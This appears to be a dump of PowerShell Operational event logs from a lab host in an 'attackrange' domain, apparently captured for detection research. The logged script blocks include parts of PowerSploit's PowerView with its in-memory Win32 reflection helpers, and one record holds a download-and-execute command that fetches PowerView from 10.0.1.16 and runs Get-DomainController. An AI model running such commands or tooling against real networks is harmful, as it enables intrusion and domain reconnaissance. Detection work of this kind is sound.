https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ Credit to BM for alias and type parameters and their handling .PARAMETER Name Name of the dynamic parameter .PARAMETER Type Type for the dynamic parameter. Default is string .PARAMETER Alias If specified, one or more aliases to assign to the dynamic parameter .PARAMETER Mandatory If specified, set the Mandatory attribute for this dynamic parameter .PARAMETER Position If specified, set the Position attribute for this dynamic parameter .PARAMETER HelpMessage If specified, set the HelpMessage for this dynamic parameter .PARAMETER DontShow If specified, set the DontShow for this dynamic parameter. This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ .PARAMETER ValueFromPipeline If specified, set the ValueFromPipeline attribute for this dynamic parameter .PARAMETER ValueFromPipelineByPropertyName If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter .PARAMETER ValueFromRemainingArguments If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter .PARAMETER ParameterSetName If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. .PARAMETER AllowNull If specified, set the AllowNull attribute of this dynamic parameter .PARAMETER AllowEmptyString If specified, set the AllowEmptyString attribute of this dynamic parameter .PARAMETER AllowEmptyCollection If specified, set the AllowEmptyCollection attribute of this dynamic parameter .PARAMETER ValidateNotNull If specified, set the ValidateNotNull attribute of this dynamic parameter .PARAMETER ValidateNotNullOrEmpty If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter .PARAMETER ValidateRange If specified, set the ValidateRange attribute of this dynamic parameter .PARAMETER ValidateLength If specified, set the ValidateLength attribute of this dynamic parameter .PARAMETER ValidatePattern If specified, set the ValidatePattern attribute of this dynamic parameter .PARAMETER ValidateScript If specified, set the ValidateScript attribute of this dynamic parameter .PARAMETER ValidateSet If specified, set the ValidateSet attribute of this dynamic parameter .PARAMETER Dictionary If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. Appropriate for custom dynamic parameters creation. If not specified, create and return a RuntimeDefinedParameterDictionary Appropriate for a simple dynamic parameter creation. #> [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] Param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [System.Type]$Type = [int], [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string[]]$Alias, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$Mandatory, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [int]$Position, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$HelpMessage, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$DontShow, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipeline, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipelineByPropertyName, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromRemainingArguments, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$ParameterSetName = '__AllParameterSets', [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyString, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyCollection, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNullOrEmpty, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateCount, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateRange, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997187 Keywords=None Message=Creating Scriptblock text (1 of 54): #requires -version 2 <# PowerSploit File: PowerView.ps1 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None #> ######################################################## # # PSReflect code for Windows API access # Author: @mattifestation # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## function New-InMemoryModule { <# .SYNOPSIS Creates an in-memory assembly and module Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION When defining custom enums, structs, and unmanaged functions, it is necessary to associate to an assembly module. This helper function creates an in-memory module that can be passed to the 'enum', 'struct', and Add-Win32Type functions. .PARAMETER ModuleName Specifies the desired name for the in-memory assembly and module. If ModuleName is not provided, it will default to a GUID. .EXAMPLE $Module = New-InMemoryModule -ModuleName Win32 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) $LoadedAssemblies = $AppDomain.GetAssemblies() foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) return $ModuleBuilder } # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. function func { Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, [Parameter(Position = 1, Mandatory = $True)] [string] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] [Type] $ReturnType, [Parameter(Position = 3)] [Type[]] $ParameterTypes, [Parameter(Position = 4)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention, [Parameter(Position = 5)] [Runtime.InteropServices.CharSet] $Charset, [String] $EntryPoint, [Switch] $SetLastError ) $Properties = @{ DllName = $DllName FunctionName = $FunctionName ReturnType = $ReturnType } if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } function Add-Win32Type { <# .SYNOPSIS Creates a .NET type for an unmanaged Win32 function. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: func .DESCRIPTION Add-Win32Type enables you to easily interact with unmanaged (i.e. Win32 unmanaged) functions in PowerShell. After providing Add-Win32Type with a function signature, a .NET type is created using reflection (i.e. csc.exe is never called like with Add-Type). The 'func' helper function can be used to reduce typing when defining multiple function definitions. .PARAMETER DllName The name of the DLL. .PARAMETER FunctionName The name of the target function. .PARAMETER EntryPoint The DLL export function name. This argument should be specified if the specified function name is different than the name of the exported function. .PARAMETER ReturnType The return type of the function. .PARAMETER ParameterTypes The function parameters. .PARAMETER NativeCallingConvention Specifies the native calling convention of the function. Defaults to stdcall. .PARAMETER Charset If you need to explicitly call an 'A' or 'W' Win32 function, you can specify the character set. .PARAMETER SetLastError Indicates whether the callee calls the SetLastError Win32 API function before returning from the attributed method. .PARAMETER Module The in-memory module that will host the functions. Use New-InMemoryModule to define an in-memory module. .PARAMETER Namespace An optional namespace to prepend to the type. Add-Win32Type defaults to a namespace consisting only of the name of the DLL. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $FunctionDefinitions = @( (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Kernel32 = $Types['kernel32'] $Ntdll = $Types['ntdll'] $Ntdll::RtlGetCurrentPeb() $ntdllbase = $Kernel32::GetModuleHandle('ntdll') $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') .NOTES Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 When defining multiple function prototypes, it is ideal to provide Add-Win32Type with an array of function signatures. That way, they are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $EntryPoint, [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [ValidateNotNull()] [String] $Namespace = '' ) BEGIN { $TypeHash = @{} } PROCESS { if ($Module -is [Reflection.Assembly]) { if ($Namespace) { $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") } else { $TypeHash[$DllName] = $Module.GetType($DllName) } } else { # Define one type for each DLL if (!$TypeHash.ContainsKey($DllName)) { if ($Namespace) { $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') } else { $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') } } $Method = $TypeHash[$DllName].DefineMethod( $FunctionName, 'Public,Static,PinvokeImpl', $ReturnType, $ParameterTypes) # Make each ByRef parameter an Out parameter $i = 1 foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { [void] $Method.DefineParameter($i, 'Out', $null) } $i++ } $DllImport = [Runtime.InteropServices.DllImportAttribute] $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField, $EntryPointField), [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset), $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } } END { if ($Module -is [Reflection.Assembly]) { return $TypeHash } $ReturnTypes = @{} foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() $ReturnTypes[$Key] = $Type } return $ReturnTypes } } function psenum { <# .SYNOPSIS Creates an in-memory enumeration for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION The 'psenum' function facilitates the creation of enums entirely in memory using as close to a "C style" as PowerShell will allow. .PARAMETER Module The in-memory module that will host the enum. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the enum. .PARAMETER Type The type of each enum element. .PARAMETER EnumElements A hashtable of enum elements. .PARAMETER Bitfield Specifies that the enum should be treated as a bitfield. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ UNKNOWN = 0 NATIVE = 1 # Image doesn't require a subsystem. WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. OS2_CUI = 5 # Image runs in the OS/2 character subsystem. POSIX_CUI = 7 # Image runs in the Posix character subsystem. NATIVE_WINDOWS = 8 # Image is a native Win9x driver. WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. EFI_APPLICATION = 10 EFI_BOOT_SERVICE_DRIVER = 11 EFI_RUNTIME_DRIVER = 12 EFI_ROM = 13 XBOX = 14 WINDOWS_BOOT_APPLICATION = 16 } .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Enum. :P #> [OutputType([Type])] Param ( [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, [Switch] $Bitfield ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } $EnumType = $Type -as [Type] $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) if ($Bitfield) { $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() } # A helper function used to reduce typing while defining struct # fields. function field { Param ( [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, [Parameter(Position = 2)] [UInt16] $Offset, [Object[]] $MarshalAs ) @{ Position = $Position Type = $Type -as [Type] Offset = $Offset MarshalAs = $MarshalAs } } function struct { <# .SYNOPSIS Creates an in-memory struct for use in your PowerShell session. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: field .DESCRIPTION The 'struct' function facilitates the creation of structs entirely in memory using as close to a "C style" as PowerShell will allow. Struct fields are specified us ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997186 Keywords=None Message=Completed invocation of ScriptBlock ID: 67dfbb75-fbf0-49f1-a90c-dc0163a14a31 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997185 Keywords=None Message=Started invocation of ScriptBlock ID: 67dfbb75-fbf0-49f1-a90c-dc0163a14a31 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997184 Keywords=None Message=Completed invocation of ScriptBlock ID: 533b7d2e-468a-4daa-bcc7-1da5c5106865 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997183 Keywords=None Message=Started invocation of ScriptBlock ID: 533b7d2e-468a-4daa-bcc7-1da5c5106865 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997182 Keywords=None Message=Started invocation of ScriptBlock ID: 8ab22e11-0b50-41a2-a1e7-50e98b71b385 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997181 Keywords=None Message=Creating Scriptblock text (1 of 1): IEX (New-Object Net.WebClient).DownloadString('http://10.0.1.16:8000/PowerView.ps1');Get-DomainController ScriptBlock ID: 8ab22e11-0b50-41a2-a1e7-50e98b71b385 Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40962 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Stop RecordNumber=1997180 Keywords=None Message=PowerShell console is ready for user input 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=53504 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Named Pipe IPC OpCode=Open (async) RecordNumber=1997179 Keywords=None Message=Windows PowerShell has started an IPC listening thread on process: 5504 in AppDomain: DefaultAppDomain. 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40961 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Start RecordNumber=1997178 Keywords=None Message=PowerShell console is starting up 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997177 Keywords=None Message=Started invocation of ScriptBlock ID: 230f2a31-f512-4cd0-b5b2-0575f5662b6c Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997176 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997175 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997174 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997173 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997172 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997171 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997170 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997169 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997168 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997167 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997166 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997165 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997164 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997163 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997304 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997303 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 